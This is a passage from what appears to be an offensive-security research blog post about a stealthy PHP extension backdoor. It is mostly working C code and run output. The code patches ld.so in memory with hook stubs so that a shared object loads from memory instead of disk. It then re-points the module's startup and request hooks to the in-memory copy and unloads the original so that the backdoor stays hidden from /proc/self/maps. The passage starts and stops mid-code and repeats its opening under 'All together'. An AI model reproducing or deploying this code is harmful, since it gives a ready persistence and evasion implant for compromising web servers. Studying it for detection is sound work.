#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"


int     my_open(const char *pathname, int flags); 
off_t   my_pread64(int fd, void *buf, size_t count, off_t offset);
ssize_t my_read(int fd, void *buf, size_t count);
void *  my_mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
int     my_fstat(int fd, struct stat *buf);
int     my_close(int fd);


/*
pwndbg> disassemble 0x7ffff7fc99ad,+20
Dump of assembler code from 0x7ffff7fc99ad to 0x7ffff7fc99c1:
   0x00007ffff7fc99ad <open_verify+109>:    sub    rdx,rax
   0x00007ffff7fc99b0 <open_verify+112>:    lea    rsi,[rdi+rax*1]
   0x00007ffff7fc99b4 <open_verify+116>:    mov    edi,r15d
   0x00007ffff7fc99b7 <open_verify+119>:    call   0x7ffff7fe9b80 <__GI___read_nocancel>

*/
const char read_pattern[] = {0x48, 0x29, 0xc2, 0x48,  0x8d, 0x34,  0x07, 0x44, 0x89, 0xff, 0xe8};
#define read_pattern_length 11

/*
pwndbg> disass 0x7ffff7fcc088,+40
Dump of assembler code from 0x7ffff7fcc088 to 0x7ffff7fcc0b0:
   0x00007ffff7fcc088 <_dl_map_object_from_fd+1208>:    mov    ecx,0x812
   0x00007ffff7fcc08d <_dl_map_object_from_fd+1213>:    mov    DWORD PTR [rbp-0xe0],r11d
   0x00007ffff7fcc094 <_dl_map_object_from_fd+1220>:    call   0x7ffff7fe9cc0 <__mmap64>
*/
const char mmap_pattern[] = {0xb9, 0x12, 0x08, 0x00, 0x00, 0x44, 0x89, 0x9d, 0x20, 0xff, 0xff, 0xff, 0xe8};
#define mmap_pattern_length 13

/*
pwndbg> disass 0x7ffff7fcc0c8,+20
Dump of assembler code from 0x7ffff7fcc0c8 to 0x7ffff7fcc0dc:
   0x00007ffff7fcc0c8 <_dl_map_object_from_fd+1272>:    mov    edi,DWORD PTR [rbp-0xd4]
   0x00007ffff7fcc0ce <_dl_map_object_from_fd+1278>:    lea    rsi,[rbp-0xc0]
   0x00007ffff7fcc0d5 <_dl_map_object_from_fd+1285>:    call   0x7ffff7fe98a0 <__GI___fstat64>
   */
const char fxstat_pattern[] = {0x8b, 0xbd, 0x2c, 0xff, 0xff, 0xff, 0x48, 0x8d, 0xb5, 0x40, 0xff, 0xff, 0xff, 0xe8};
#define fxstat_pattern_length 14

/*
pwndbg> disass 0x7ffff7fcc145,+40
Dump of assembler code from 0x7ffff7fcc145 to 0x7ffff7fcc16d:
   0x00007ffff7fcc145 <_dl_map_object_from_fd+1397>:    mov    edi,DWORD PTR [rbp-0xd4]
   0x00007ffff7fcc14b <_dl_map_object_from_fd+1403>:    call   0x7ffff7fe99f0 <__GI___close_nocancel>
*/
const char close_pattern[] = {0x8b, 0xbd, 0x2c, 0xff, 0xff, 0xff, 0xe8};
#define close_pattern_length 7

/*
pwndbg> disass 0x7ffff7fc996a,+40
Dump of assembler code from 0x7ffff7fc996a to 0x7ffff7fc9992:
   0x00007ffff7fc996a <open_verify+42>: mov    esi,0x80000
   0x00007ffff7fc996f <open_verify+47>: mov    rdi,r14
   0x00007ffff7fc9972 <open_verify+50>: xor    eax,eax
   0x00007ffff7fc9974 <open_verify+52>: call   0x7ffff7fe9b00 <__GI___open64_nocancel>
*/
const char open_pattern[] = {0xbe, 0x00, 0x00, 0x08, 0x00, 0x4c, 0x89, 0xf7, 0x31, 0xc0, 0xe8};
#define open_pattern_length 11

/*
pwndbg> disass 0x00007ffff7fcc275,+40
Dump of assembler code from 0x7ffff7fcc275 to 0x7ffff7fcc29d:
   0x00007ffff7fcc275 <_dl_map_object_from_fd+1701>:    mov    rsi,rax
   0x00007ffff7fcc278 <_dl_map_object_from_fd+1704>:    mov    QWORD PTR [rbp-0x158],rax
   0x00007ffff7fcc27f <_dl_map_object_from_fd+1711>:    call   0x7ffff7fe9bb0 <__GI___pread64_nocancel>
*/
const char pread64_pattern[] = {0x48, 0x89, 0xc6, 0x48, 0x89, 0x85, 0xa8, 0xfe, 0xff, 0xff, 0xe8};
#define pread64_pattern_length 11

const char* patterns[] = {read_pattern, mmap_pattern, pread64_pattern, fxstat_pattern, close_pattern,
                          open_pattern, NULL};
const size_t pattern_lengths[] = {read_pattern_length, mmap_pattern_length, pread64_pattern_length, 
                                  fxstat_pattern_length, close_pattern_length, open_pattern_length, 0};
const char* symbols[] = {"read", "mmap", "pread", "fstat", "close", "open", NULL};
uint64_t functions[] = {(uint64_t)&my_read, (uint64_t)&my_mmap, (uint64_t)&my_pread64, (uint64_t)&my_fstat, 
                        (uint64_t)&my_close, (uint64_t)&my_open, 0}; 
char *fixes[7] = {0};

uint64_t fix_locations[7] = {0};
size_t page_size;


bool find_ld_in_memory(uint64_t *addr1, uint64_t *addr2) {
    FILE* f = NULL;
    char  buffer[1024] = {0};
    char* tmp = NULL;
    char* start = NULL;
    char* end = NULL;
    bool  found = false;

    if ((f = fopen("/proc/self/maps", "r")) == NULL){
        return found;
    }

    while ( fgets(buffer, sizeof(buffer), f) ){
        if ( strstr(buffer, "r-xp") == 0 ) {
            continue;
        }
        if ( strstr(buffer, "ld-linux-x86-64.so.2") == 0 ) {
            continue;        
        }

        buffer[strlen(buffer)-1] = 0;
        tmp = strrchr(buffer, ' ');
        if ( tmp == NULL || tmp[0] != ' ')
            continue;
        ++tmp;

        start = strtok(buffer, "-");
        *addr1 = strtoul(start, NULL, 16);
        end = strtok(NULL, " ");
        *addr2 = strtoul(end, NULL, 16);
        found = true;
    }
    fclose(f);
    return found;
}


/* hooks */

int my_open(const char *pathname, int flags) {
    void *handle;
    int (*mylegacyopen)(const char *pathnam, int flags);

    handle = dlopen (LIBC, RTLD_NOW);
    mylegacyopen = dlsym(handle, "open");
    if (strstr(pathname, "magic.so") != 0){
        printf("\t[+] Open called with magic word. Returning magic FD (0x69)\n");
        return 0x69;
    }
    return mylegacyopen(pathname, flags);
}

ssize_t my_read(int fd, void *buf, size_t count){
    void *handle;
    ssize_t (*mylegacyread)(int fd, void *buf, size_t count);

    handle = dlopen (LIBC, RTLD_NOW);
    mylegacyread = dlsym(handle, "read");
    if (fd == 0x69){
        size_t size = 0;
        if ( libdata.size - libdata.current >= count ) {
            size = count;
        } else {
            size = libdata.size - libdata.current;
        }
        memcpy(buf, libdata.data + libdata.current, size);
        libdata.current += size;
        printf("\t[+] Read called with magic FD. Returning %ld bytes from memory\n", size);
        return size;
    }
    size_t ret =  mylegacyread(fd, buf, count);
    printf("Size: %ld\n",ret);
    return ret;
}

void * my_mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset){
    int mflags = 0;
    void * ret = NULL;
    uint64_t start = 0;
    size_t size = 0;

    if ( fd == 0x69 ) {
        mflags = MAP_PRIVATE|MAP_ANON;
        if ( (flags & MAP_FIXED) != 0 ) {
            mflags |= MAP_FIXED;
        }
        ret = mmap(addr, length, PROT_READ|PROT_WRITE|PROT_EXEC, mflags, -1, 0);
        size = length > libdata.size - offset ? libdata.size - offset : length;
        memcpy(ret, libdata.data + offset, size);
        mprotect(ret, size, prot);
        if (first == 0){
            first = (uint64_t)ret;
        }
        printf("\t[+] Inside hooked mmap (fd: 0x%x)\n", fd);
        return ret;
    }
    return mmap(addr, length, prot, flags, fd, offset);
}


int my_fstat(int fd, struct stat *buf){
    void *handle;
    int (*mylegacyfstat)(int fd, struct stat *buf);


    handle = dlopen (LIBC, RTLD_NOW);
    mylegacyfstat = dlsym(handle, "fstat64");

    if ( fd == 0x69 ) {
        memset(buf, 0, sizeof(struct stat));
        buf->st_size = libdata.size;
        buf->st_ino = 0x666; // random number
        printf("\t[+] Inside hooked fstat64 (fd: 0x%x)\n", fd);
        return 0;
    }
    return mylegacyfstat(fd, buf);
}

int my_close(int fd) {
    if (fd == 0x69){
        printf("\t[+] Inside hooked close (fd: 0x%x)\n", fd);
        return 0;
    }
    return close(fd);
}

/* Patch ld.so */
bool search_and_patch(uint64_t start_addr, uint64_t end_addr, const char* pattern, const size_t length, const char* symbol, const uint64_t replacement_addr, int position) {

    bool     found = false;
    int32_t  offset = 0;
    uint64_t tmp_addr = 0;
    uint64_t symbol_addr = 0;
    char * code = NULL;
    void * page_addr = NULL;

    tmp_addr = start_addr;
    while ( ! found && tmp_addr+length < end_addr) {
        if ( memcmp((void*)tmp_addr, (void*)pattern, length) == 0 ) {
            found = true;
            continue;
        }
        ++tmp_addr;
    }

    if ( ! found ) {
        return false;
    }

    offset = *((uint64_t*)(tmp_addr + length));
    symbol_addr = tmp_addr + length + 4 + offset;

    //Save data to fix later
    fixes[position] = malloc(stub_length * sizeof(char));
    memcpy(fixes[position], (void*)symbol_addr, stub_length);
    fix_locations[position] = symbol_addr;
    printf("[*] Symbol: %s - Addr: %lx\n", symbol, fix_locations[position]);

    code = malloc(stub_length * sizeof(char));
    memcpy(code, stub, stub_length);
    memcpy(code+6, &replacement_addr, sizeof(uint64_t));

    page_addr = (void*) (((size_t)symbol_addr) & (((size_t)-1) ^ (page_size - 1)));
    mprotect(page_addr, page_size, PROT_READ | PROT_WRITE); 
    memcpy((void*)symbol_addr, code, stub_length);
    mprotect(page_addr, page_size, PROT_READ | PROT_EXEC); 
    return true;
}

/* Read file from disk */
bool load_library_from_file(char * path, lib_t *libdata) {
    struct stat st;
    FILE * file;
    size_t read;

    if ( stat(path, &st) < 0 ) {
        return false;
    }

    libdata->size = st.st_size;
    libdata->data = malloc( st.st_size );
    libdata->current = 0;

    file = fopen(path, "r");

    read = fread(libdata->data, 1, st.st_size, file);
    fclose(file);

    return true;
}


void patch_all(void){
    uint64_t start = 0;
    uint64_t end = 0;
    size_t i = 0;
    
    page_size = sysconf(_SC_PAGESIZE);
    printf("\t\t-=[ Proof of Concept ]=-\n\n");

    if (!load_library_from_file("/home/vagrant/research/php/backdoor/adepts/test.so", &libdata)){
        return;
    }
    if (!find_ld_in_memory(&start, &end)){
        return;
    }
    printf("[*] ld.so found in range [0x%lx-0x%lx]\n", start, end);
    printf("-------------[ Patching  ]-------------\n");
    while ( patterns[i] != NULL ) {
        if ( ! search_and_patch(start, end, patterns[i], pattern_lengths[i], symbols[i], functions[i], i) ) {     
            return;
        } 
        ++i;
    }
    printf("---------------------------------------\n");
    return;
}



// Basic zend_module_entry
zend_module_entry adepts_module_entry = {
    STANDARD_MODULE_HEADER,
    "adepts",                   /* Extension name */
    NULL,                   /* zend_function_entry */
    NULL,                           /* PHP_MINIT - Module initialization */
    NULL,                           /* PHP_MSHUTDOWN - Module shutdown */
    NULL,           /* PHP_RINIT - Request initialization */
    NULL,                           /* PHP_RSHUTDOWN - Request shutdown */
    NULL,           /* PHP_MINFO - Module info */
    PHP_ADEPTS_VERSION,     /* Version */
    STANDARD_MODULE_PROPERTIES
};

//Function "get_module" that will be executed by PHP
extern zend_module_entry *get_module(void){
    patch_all();
    void *handler = dlopen("./magic.so", RTLD_NOW); 
    //void *hanlder = dlopen("/home/vagrant/research/php/backdoor/adepts/test.so", RTLD_NOW);
    return &adepts_module_entry;
}



#ifdef COMPILE_DL_ADEPTS
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(adepts)
#endif

We can test that the shared object (test.so) is loaded from memory instead of disk:

=> php  -d "extension=/home/vagrant/research/php/backdoor/adepts/adepts.so" -r "echo 1;"
        -=[ Proof of Concept ]=-

[*] ld.so found in range [0x7f0c1e953000-0x7f0c1e97d000]
-------------[ Patching  ]-------------
[*] Symbol: read - Addr: 7f0c1e977b80
[*] Symbol: mmap - Addr: 7f0c1e977cc0
[*] Symbol: pread - Addr: 7f0c1e977bb0
[*] Symbol: fstat - Addr: 7f0c1e9778a0
[*] Symbol: close - Addr: 7f0c1e9779f0
[*] Symbol: open - Addr: 7f0c1e977b00
---------------------------------------
    [+] Open called with magic word. Returning magic FD (0x69)
    [+] Read called with magic FD. Returning 832 bytes from memory
    [+] Inside hooked fstat64 (fd: 0x69)
    [+] Inside hooked mmap (fd: 0x69)
    [+] Inside hooked mmap (fd: 0x69)
    [+] Inside hooked mmap (fd: 0x69)
    [+] Inside hooked mmap (fd: 0x69)
    [+] Inside hooked close (fd: 0x69)
Lib initialized successfully!
1% 

Next question is… can we use it to load our extension again ? Let’s add a small canary and change the path at load_library_from_file() to point to our extension:

 static void check(void) __attribute__((constructor));
 void check(void){
     printf("~~~> Hello from adepts.o <~~~\n");
     return;
 }

It works!

=> php  -d "extension=/home/vagrant/research/php/backdoor/adepts/adepts.so" -r "echo 1;"
~~~> Hello from adepts.o <~~~
        -=[ Proof of Concept ]=-

[*] ld.so found in range [0x7fd97554c000-0x7fd975576000]
-------------[ Patching  ]-------------
[*] Symbol: read - Addr: 7fd975570b80
[*] Symbol: mmap - Addr: 7fd975570cc0
[*] Symbol: pread - Addr: 7fd975570bb0
[*] Symbol: fstat - Addr: 7fd9755708a0
[*] Symbol: close - Addr: 7fd9755709f0
[*] Symbol: open - Addr: 7fd975570b00
---------------------------------------
    [+] Open called with magic word. Returning magic FD (0x69)
    [+] Read called with magic FD. Returning 832 bytes from memory
    [+] Inside hooked fstat64 (fd: 0x69)
    [+] Inside hooked mmap (fd: 0x69)
    [+] Inside hooked mmap (fd: 0x69)
    [+] Inside hooked mmap (fd: 0x69)
    [+] Inside hooked mmap (fd: 0x69)
    [+] Inside hooked close (fd: 0x69)
~~~> Hello from adepts.o <~~~

We can see how the message was printed twice: the first when PHP loads our extension and the second when the extension is loaded directly from memory.

At this point every other shared object loaded by the process will go through our hooks. That’s something that should be fine but to avoid any issue (imagine a collision between a file descriptor and our magic value) we have to repatch the memory to remove the hooks. The other reason to restore the original code is because we are kind and polite :).

 /* remove hooks */
 bool fix_hook(char *fix, uint64_t addr){
     void *page_addr = (void*) (((size_t)addr) & (((size_t)-1) ^ (page_size - 1)));
     mprotect(page_addr, page_size, PROT_READ | PROT_WRITE);
     memcpy((void *)addr, fix, stub_length);
     mprotect(page_addr, page_size, PROT_READ | PROT_EXEC);
     return true;
 }
 
 extern void restore(void){
     int i = 0;
     printf("[*] Fixing hooks\n");
     while ( patterns[i] != NULL ) {m
            if ( ! fix_hook(fixes[i], fix_locations[i]) ) {
                return;
            }
            ++i;
     }
     return;
 }

The secret sauce

Although we have a new copy of our extension loaded from memory we can not unload the original because the symbols are binded.

    147212: binding file ./magic.so [0] to /home/vagrant/research/php/backdoor/adepts/adepts.so [0]: normal symbol `onLoad'
    147212: binding file ./magic.so [0] to /home/vagrant/research/php/backdoor/adepts/adepts.so [0]: normal symbol `stub_length'
    147212: binding file ./magic.so [0] to /home/vagrant/research/php/backdoor/adepts/adepts.so [0]: normal symbol `adepts_module_entry'

Even if we call multiple times dlclose() the process will keep always references to it, so it would not be unloaded. To solve this issue we have to compile the extension using the flag -fvisibility=hidden and only set get_module symbol to default visibility.

Now the question is… how can we unload the extension? how can we set the MINIT/MSHUTDOWN/RINIT/RSHUTDOWN hooks so our code will be executed? Well, the answer is the same: the original get_module() must return a pointer to a zend_module_entry located in the new copy loaded from memory. And also this structure must be set with pointers to functions in this copy.

We need to have the code to execute the dlclose() pointed by module_startup_func so it would be executed when Zend Engine processes the data. The problem is we can not use dlsym() to find the function address because we set the visibility to hidden to avoid the symbol collision issue. Alternatively we can get the address in our original extension minus the base address, and then use the address of the first mapped region in our copied version plus this difference as an offset:

    static Dl_info info;
    dladdr(&info, &info);
    uint64_t diffLoad = (uint64_t)&onLoad - (uint64_t)info.dli_fbase;
    uint64_t diffRequest = (uint64_t)&onRequest - (uint64_t)info.dli_fbase;
    uint64_t newLoad = first + diffLoad;
    uint64_t newRequest = first + diffRequest;

    uint64_t diffModule = (uint64_t)&adepts_module_entry - (uint64_t)info.dli_fbase;
    ((zend_module_entry *)(diffModule + first))->module_startup_func = (void *)newLoad;
    ((zend_module_entry *)(diffModule + first))->request_shutdown_func = (void *)newRequest;
    return (void *)(diffModule + first);

And the code at newLoad() and newRequest():

/* Functions to execute */
zend_result onLoad(int a, int b){
    printf("[^] Executing onLoad\n");
    void* handle = dlopen("/home/vagrant/research/php/backdoor/adepts/adepts.so", RTLD_LAZY);
    while (dlclose(handle) != -1){
        printf("[*] dlclose()\n");
    }
    return SUCCESS;
}
zend_result onRequest(void){
    php_printf("\n[/!\\] Adepts of 0xCC [/!\\]\n\n");
    return SUCCESS;
}

We can verify that it works:

=> sudo php  -d "extension=/home/vagrant/research/php/backdoor/adepts/adepts.so" -S 127.0.0.1:80
~~~> Hello from adepts.o <~~~
                -=[ Proof of Concept ]=-

[*] ld.so found in range [0x7f60980a7000-0x7f60980d1000]
-------------[ Patching  ]-------------
[*] Symbol: read - Addr: 7f60980cbb80
[*] Symbol: mmap - Addr: 7f60980cbcc0
[*] Symbol: pread - Addr: 7f60980cbbb0
[*] Symbol: fstat - Addr: 7f60980cb8a0
[*] Symbol: close - Addr: 7f60980cb9f0
[*] Symbol: open - Addr: 7f60980cbb00
---------------------------------------
        [+] Open called with magic word. Returning magic FD (0x69)
        [+] Read called with magic FD. Returning 832 bytes from memory
        [+] Inside hooked fstat64 (fd: 0x69)
        [+] Inside hooked mmap (fd: 0x69)
        [+] Inside hooked mmap (fd: 0x69)
        [+] Inside hooked mmap (fd: 0x69)
        [+] Inside hooked mmap (fd: 0x69)
        [+] Inside hooked close (fd: 0x69)
~~~> Hello from adepts.o <~~~
---------------------------------------
[*] Fixing hooks
[^] Executing onLoad
[*] dlclose()
[*] dlclose()
[Mon Dec 26 20:59:11 2022] PHP 8.2.0 Development Server (http://127.0.0.1:80) started
[Mon Dec 26 20:59:26 2022] 127.0.0.1:42582 Accepted
[Mon Dec 26 20:59:26 2022] 127.0.0.1:42582 [200]: GET /index.php
[Mon Dec 26 20:59:26 2022] 127.0.0.1:42582 Closing

And we can see that even when the original extension as unloaded, the copy version from memory still working:

=> curl localhost/index.php                                                                     
Hello World!

[/!\] Adepts of 0xCC [/!\]

If we change the index.php to check /proc/self/maps contents we can see how it’s “invisible” (well, you can see the anomalous memory regions that should be enough to detect it):

=> curl localhost/index.php                                                                                                                                                                                                                                                  
561150c00000-561150d2c000 r--p 00000000 08:01 2523                       /usr/local/bin/php                                                                                                                                                                                         
561150e00000-56115161b000 r-xp 00200000 08:01 2523                       /usr/local/bin/php                                                                                                                                                                                         
561151800000-56115201c000 r--p 00c00000 08:01 2523                       /usr/local/bin/php                                                                                                                                                                                         
56115231d000-561152400000 r--p 0151d000 08:01 2523                       /usr/local/bin/php                                                                                                                                                                                         
561152400000-561152406000 rw-p 01600000 08:01 2523                       /usr/local/bin/php                                                                                                                                                                                         
561152406000-561152424000 rw-p 00000000 00:00 0                                                                                                                                                                                                                                     
561152a2e000-561152c26000 rw-p 00000000 00:00 0                          [heap]                                                                                                                                                                                                     
7f9f97f17000-7f9f98200000 r--p 00000000 08:01 6308                       /usr/lib/locale/locale-archive                                                                                                                                                                             
7f9f98200000-7f9f98400000 rw-p 00000000 00:00 0                                                                                                                                                                                                                                     
7f9f98490000-7f9f984e1000 rw-p 00000000 00:00 0                                                                                                                                                                                                                                     
7f9f9850a000-7f9f9853a000 rw-p 00000000 00:00 0                                                                                                                                                                                                                                     
7f9f9853a000-7f9f9853b000 r--p 00000000 00:00 0                                                                                                                                                                                                                                     
7f9f9853b000-7f9f9853d000 r-xp 00000000 00:00 0                                                                                                                                                                                                                                     
7f9f9853d000-7f9f9853f000 r--p 00000000 00:00 0                                                                                                                                                                                                                                     
7f9f9853f000-7f9f98540000 rw-p 00000000 00:00 0                                                                                                                                                                                                                                     
7f9f98540000-7f9f98597000 r--p 00000000 08:01 6312                       /usr/lib/locale/C.utf8/LC_CTYPE                                                                                                                                                                            
7f9f98597000-7f9f9859c000 rw-p 00000000 00:00 0                                                                                                                                                                                                                                     
7f9f9859c000-7f9f9859f000 r--p 00000000 08:01 3638                       /usr/lib/x86_64-linux-gnu/libgcc_s.so.1                                                                                                                                                                    
7f9f9859f000-7f9f985b6000 r-xp 00003000 08:01 3638                       /usr/lib/x86_64-linux-gnu/libgcc_s.so.1                                                                                                                                                                    
7f9f985b6000-7f9f985ba000 r--p 0001a000 08:01 3638                       /usr/lib/x86_64-linux-gnu/libgcc_s.so.1                                                                                                                                                                    
7f9f985ba000-7f9f985bb000 r--p 0001d000 08:01 3638                       /usr/lib/x86_64-linux-gnu/libgcc_s.so.1                                                                                                                                                                    
7f9f985bb000-7f9f985bc000 rw-p 0001e000 08:01 3638                       /usr/lib/x86_64-linux-gnu/libgcc_s.so.1                                                                                                                                                                    
7f9f985bc000-7f9f98656000 r--p 00000000 08:01 3639                       /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30                                                                                                                                                              
7f9f98656000-7f9f98766000 r-xp 0009a000 08:01 3639                       /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30                                                                                                                                                              
7f9f98766000-7f9f987d5000 r--p 001aa000 08:01 3639                       /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30                                                                                                                                                              
7f9f987d5000-7f9f987e0000 r--p 00218000 08:01 3639                       /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30                                                                                                                                                              
7f9f987e0000-7f9f987e3000 rw-p 00223000 08:01 3639                       /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30                                                                                                                                                              
7f9f987e3000-7f9f987e6000 rw-p 00000000 00:00 0                                                                                                                                                                                                                                     
7f9f987e6000-7f9f987e7000 r--p 00000000 08:01 4871                       /usr/lib/x86_64-linux-gnu/libicudata.so.70.1                                                                                                                                                               
7f9f987e7000-7f9f987e8000 r-xp 00001000 08:01 4871                       /usr/lib/x86_64-linux-gnu/libicudata.so.70.1                                                                                                                                                               
7f9f987e8000-7f9f9a402000 r--p 00002000 08:01 4871                       /usr/lib/x86_64-linux-gnu/libicudata.so.70.1                                                                                                                                                               
7f9f9a402000-7f9f9a403000 r--p 01c1b000 08:01 4871                       /usr/lib/x86_64-linux-gnu/libicudata.so.70.1
7f9f9a403000-7f9f9a404000 rw-p 01c1c000 08:01 4871                       /usr/lib/x86_64-linux-gnu/libicudata.so.70.1                                                                                                                                                         [0/39]
7f9f9a404000-7f9f9a406000 rw-p 00000000 00:00 0                      
7f9f9a406000-7f9f9a409000 r--p 00000000 08:01 3968                       /usr/lib/x86_64-linux-gnu/liblzma.so.5.2.5                       
7f9f9a409000-7f9f9a424000 r-xp 00003000 08:01 3968                       /usr/lib/x86_64-linux-gnu/liblzma.so.5.2.5                       
7f9f9a424000-7f9f9a42f000 r--p 0001e000 08:01 3968                       /usr/lib/x86_64-linux-gnu/liblzma.so.5.2.5                       
7f9f9a42f000-7f9f9a430000 r--p 00028000 08:01 3968                       /usr/lib/x86_64-linux-gnu/liblzma.so.5.2.5                       
7f9f9a430000-7f9f9a431000 rw-p 00029000 08:01 3968                       /usr/lib/x86_64-linux-gnu/liblzma.so.5.2.5                       
7f9f9a431000-7f9f9a433000 r--p 00000000 08:01 4818                       /usr/lib/x86_64-linux-gnu/libz.so.1.2.11                         
7f9f9a433000-7f9f9a444000 r-xp 00002000 08:01 4818                       /usr/lib/x86_64-linux-gnu/libz.so.1.2.11                         
7f9f9a444000-7f9f9a44a000 r--p 00013000 08:01 4818                       /usr/lib/x86_64-linux-gnu/libz.so.1.2.11                         
7f9f9a44a000-7f9f9a44b000 ---p 00019000 08:01 4818                       /usr/lib/x86_64-linux-gnu/libz.so.1.2.11                         
7f9f9a44b000-7f9f9a44c000 r--p 00019000 08:01 4818                       /usr/lib/x86_64-linux-gnu/libz.so.1.2.11                         
7f9f9a44c000-7f9f9a44d000 rw-p 0001a000 08:01 4818                       /usr/lib/x86_64-linux-gnu/libz.so.1.2.11                         
7f9f9a44d000-7f9f9a4b3000 r--p 00000000 08:01 4876                       /usr/lib/x86_64-linux-gnu/libicuuc.so.70.1                       
7f9f9a4b3000-7f9f9a5a6000 r-xp 00066000 08:01 4876                       /usr/lib/x86_64-linux-gnu/libicuuc.so.70.1                       
7f9f9a5a6000-7f9f9a632000 r--p 00159000 08:01 4876                       /usr/lib/x86_64-linux-gnu/libicuuc.so.70.1                       
7f9f9a632000-7f9f9a645000 r--p 001e4000 08:01 4876                       /usr/lib/x86_64-linux-gnu/libicuuc.so.70.1                       
7f9f9a645000-7f9f9a646000 rw-p 001f7000 08:01 4876                       /usr/lib/x86_64-linux-gnu/libicuuc.so.70.1                       
7f9f9a646000-7f9f9a648000 rw-p 00000000 00:00 0                      
7f9f9a648000-7f9f9a670000 r--p 00000000 08:01 3644                       /usr/lib/x86_64-linux-gnu/libc.so.6                              
7f9f9a670000-7f9f9a805000 r-xp 00028000 08:01 3644                       /usr/lib/x86_64-linux-gnu/libc.so.6                              
7f9f9a805000-7f9f9a85d000 r--p 001bd000 08:01 3644                       /usr/lib/x86_64-linux-gnu/libc.so.6                              
7f9f9a85d000-7f9f9a861000 r--p 00214000 08:01 3644                       /usr/lib/x86_64-linux-gnu/libc.so.6                              
7f9f9a861000-7f9f9a863000 rw-p 00218000 08:01 3644                       /usr/lib/x86_64-linux-gnu/libc.so.6                              
7f9f9a863000-7f9f9a870000 rw-p 00000000 00:00 0                      
7f9f9a870000-7f9f9a89f000 r--p 00000000 08:01 2255                       /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.13                      
7f9f9a89f000-7f9f9a9f2000 r-xp 0002f000 08:01 2255                       /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.13                      
7f9f9a9f2000-7f9f9aa46000 r--p 00182000 08:01 2255                       /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.13                      
7f9f9aa46000-7f9f9aa47000 ---p 001d6000 08:01 2255                       /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.13                      
7f9f9aa47000-7f9f9aa50000 r--p 001d6000 08:01 2255                       /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.13                      
7f9f9aa50000-7f9f9aa51000 rw-p 001df000 08:01 2255                       /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.13                      
7f9f9aa51000-7f9f9aa52000 rw-p 00000000 00:00 0                      
7f9f9aa52000-7f9f9aa60000 r--p 00000000 08:01 3647                       /usr/lib/x86_64-linux-gnu/libm.so.6                              
7f9f9aa60000-7f9f9aadc000 r-xp 0000e000 08:01 3647                       /usr/lib/x86_64-linux-gnu/libm.so.6                              
7f9f9aadc000-7f9f9ab37000 r--p 0008a000 08:01 3647                       /usr/lib/x86_64-linux-gnu/libm.so.6                              
7f9f9ab37000-7f9f9ab38000 r--p 000e4000 08:01 3647                       /usr/lib/x86_64-linux-gnu/libm.so.6                              
7f9f9ab38000-7f9f9ab39000 rw-p 000e5000 08:01 3647                       /usr/lib/x86_64-linux-gnu/libm.so.6                              
7f9f9ab43000-7f9f9ab4a000 r--s 00000000 08:01 3960                       /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache              
7f9f9ab4a000-7f9f9ab4c000 rw-p 00000000 00:00 0                      
7f9f9ab4c000-7f9f9ab4e000 r--p 00000000 08:01 3641                       /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2                   
7f9f9ab4e000-7f9f9ab72000 r-xp 00002000 08:01 3641                       /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2                   
7f9f9ab72000-7f9f9ab73000 r-xp 00026000 08:01 3641                       /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2                   
7f9f9ab73000-7f9f9ab78000 r-xp 00027000 08:01 3641                       /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2                   
7f9f9ab78000-7f9f9ab83000 r--p 0002c000 08:01 3641                       /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2                   
7f9f9ab84000-7f9f9ab86000 r--p 00037000 08:01 3641                       /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2                   
7f9f9ab86000-7f9f9ab88000 rw-p 00039000 08:01 3641                       /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2                   
7ffd2886b000-7ffd2888c000 rw-p 00000000 00:00 0                          [stack]                                                          
7ffd2897b000-7ffd2897f000 r--p 00000000 00:00 0                          [vvar]                                                           
7ffd2897f000-7ffd28981000 r-xp 00000000 00:00 0                          [vdso]                                                           
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall

All together

The final code is:

/* adepts extension for PHP */

#ifdef HAVE_CONFIG_H
# include "config.h"
#endif

#include "php.h"
#include "ext/standard/info.h"
#include "php_adepts.h"

#include <sys/mman.h>
#include <pthread.h>


/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
    ZEND_PARSE_PARAMETERS_START(0, 0) \
    ZEND_PARSE_PARAMETERS_END()
#endif




typedef struct {
    void * data;
    size_t size;
    size_t current;
} lib_t;

lib_t libdata;


char stub[] = {0x55, 0x48, 0x89, 0xe5, 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xd0, 0xc9, 0xc3};
size_t stub_length = 18;

#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"


int     my_open(const char *pathname, int flags); 
off_t   my_pread64(int fd, void *buf, size_t count, off_t offset);
ssize_t my_read(int fd, void *buf, size_t count);
void *  my_mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
int     my_fstat(int fd, struct stat *buf);
int     my_close(int fd);


/*
pwndbg> disassemble 0x7ffff7fc99ad,+20
Dump of assembler code from 0x7ffff7fc99ad to 0x7ffff7fc99c1:
   0x00007ffff7fc99ad <open_verify+109>:    sub    rdx,rax
   0x00007ffff7fc99b0 <open_verify+112>:    lea    rsi,[rdi+rax*1]
   0x00007ffff7fc99b4 <open_verify+116>:    mov    edi,r15d
   0x00007ffff7fc99b7 <open_verify+119>:    call   0x7ffff7fe9b80 <__GI___read_nocancel>

*/
